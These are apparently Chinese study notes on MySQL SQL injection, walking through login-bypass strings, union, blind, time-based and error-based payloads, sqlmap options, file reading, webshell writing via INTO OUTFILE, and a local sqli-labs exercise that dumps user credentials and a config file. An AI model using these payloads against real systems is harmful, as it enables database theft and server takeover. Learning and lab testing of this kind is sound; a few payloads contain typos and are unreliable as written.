基于B/S架构的网络上,对安全控制能力较弱,然后开发人员水平和经验参差不齐,没有对用户输入数据,或者对页面中携带的信息进行必要的判断。攻击者利用这个机会提交一段数据库查询代码,可以获得一些数据库信息。
SQL注入是一种将恶意的SQL代码插入到用户的输入参数中的攻击,攻击者探测出开发者编程过程中的漏洞,利用漏洞,巧妙的构造SQL语句,对数据库的内容进行检索或修改。
简单概括:利用现有应用程序,将精心构造的SQL语句“注入”到后台数据库所执行的恶意操作
灵活的SQL查询语句+用户输入的数据带入可执行SQL语句=用户直接操作数据库->SQL注入漏洞
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。 MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。 MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。
– 摘自百度百科
# 登录处正常的SQL语句:
select * from users where username= 'admin' and pwd = 'pass';
# 万能密码:
'or '1' = '1
# 带入用户输入参数
select * from users where username= ''or '1' = '1' and pwd = ''or '1' = '1';
第一个 or 前面为 false 后面为 true -> true
and 前面为 true 后面为 false -> false
第二个 or 前面为 false 后面为 true -> true
# 利用构造1=2错误执行union后面的语句
and 1=2 union select 1,2,3--
# 利用mysql正则表达式为匹配当前用户是否为ro开头
select user() regexp '^ro'
# 查询当前用户的ascii码是否为114(r)
ascii(substr(substr(select user()),1,1))=114
# 如果当前用户的ascii码为114(r) 就返回0 否则就睡5秒
if(ascii(substr((select user()),1,1))=114,0,sleep(5))
# 查询第一个表名的ascii码是否为99(c) 是返回1 否返回0
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=99)
# 利用updatexml报错,返回版本信息
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
inurl:php?id=
有特定目标:
inurl:php?id= site:target.com
'
and 1=1 / and 1=2
and '1' ='1 / and '1'='2
and 1 like 1 / and 1 like 2
工具识别:
扩展识别广度和深度:
sqlmap --level 增加测试级别,对header中相关参数也进行测试
sqlmap -r filename(filename中为网站请求数据)
利用工具提高识别效率:
搜索关键代码和函数
关键代码包括 $_GET/$_POST/$id/select/SELECT
MySQL数据库结构
SQL层的功能
MySQL内置库(>=5.7)
mysql: 账户信息、权限信息、存储过程、event、时区等信息。
sys: 存储过程、自定义函数、视图帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
performance_schema: 用于收集数据库服务器性能参数
information_schema: 访问数据库元数据的方式,保存关于MySQL服务器所维护的所有其他数据库信息,如数据库名,数据库表,表的数据类型与访问权限等。
查询数据核心语法
# 查库
select schema_name from information_schema.schemata;
#查表
select table_name from information_schema.tables where table_schema=库名;
#查列
select column_name from information_schema.columns where table_name=表名;
#查数据
select 列名 from 库名.表名;
Tips
提示1: 所有类型的sql注入,都是基于查库、表、列语句
提示2: 如果数据太多,导致无法返回查询结果:
查询的场景:可利用limit限定返回数量及为止,依次查询
select username,password from security.users limit 0,1;
回显数据的场景:* concat * 链接多个数据成为一条返回结果
select group_concat(schema_name) from infromation_schema.schemata;
提示3: 在一些场景,想要快速获取数据,需要借助工具,如:BurpSuite
sql注入流程
--os-shell(os shell会上传两个文件一个木马 一个是创建文件 富于这个文件775的权限控制权限))
select load_file('/etc/password')
(格式: select * into outfile "文件地址" 示例:select * info outfile 'f:/mysql/test/one' form teacher_class; )
mysql写shell
1.需要知道绝对路径(web下层目录) 2.用户需要file权限(root可写),一般用户不会有file权限 3.文件大小小于max_allow_upload 4.secure_file_priv 指定可写目录
写
select '<?php phpinfo();?>' into outfile 'c://php//www//kkk.php';
select '<?php phpinfo();?>' into dumpfile 'c://php//www//kkk2.php';
select * from user into outfile 'c://php//www/kkk4.php' fields terminated by '<?php phpinfo();?>'
tips:
查询数据的时候把信息记录到txt上
# 判断是否存在sql注入
http://127.0.0.1/Less-1/?id=2'
http://127.0.0.1/Less-1/?id=2' and '1'=2
# 判断列数
http://127.0.0.1/Less-1/?id=2' order by 3--+
# 判断输出信息位置 (union之前要报错才会查询union后面的)
http://127.0.0.1/Less-1/?id=99999' union select 1,2,3--+
# 查库名
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata--+
# 查表名 'security'/十六进制0x/database()
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security'--+
# 查数据 group_concat/concat_ws
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(username,0x7e,password) from security.users)--+
# 查权限
http://127.0.0.1/Less-1/?id=' union select 1,2,(select user())--+
> root@localhost
# 读文件 db-creds.inc 数据库配置文件
http://127.0.0.1/Less-1/?id=' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+
mysql官网 mysql内置函数 ascii对照表 mysql正则 MYSQL updatexml报错注入 Python Spider 的总结 MySQL手工注入步骤+直接写入一句话 Mysql通过命令授于用户数据库操作权限 mysql 函数执行权限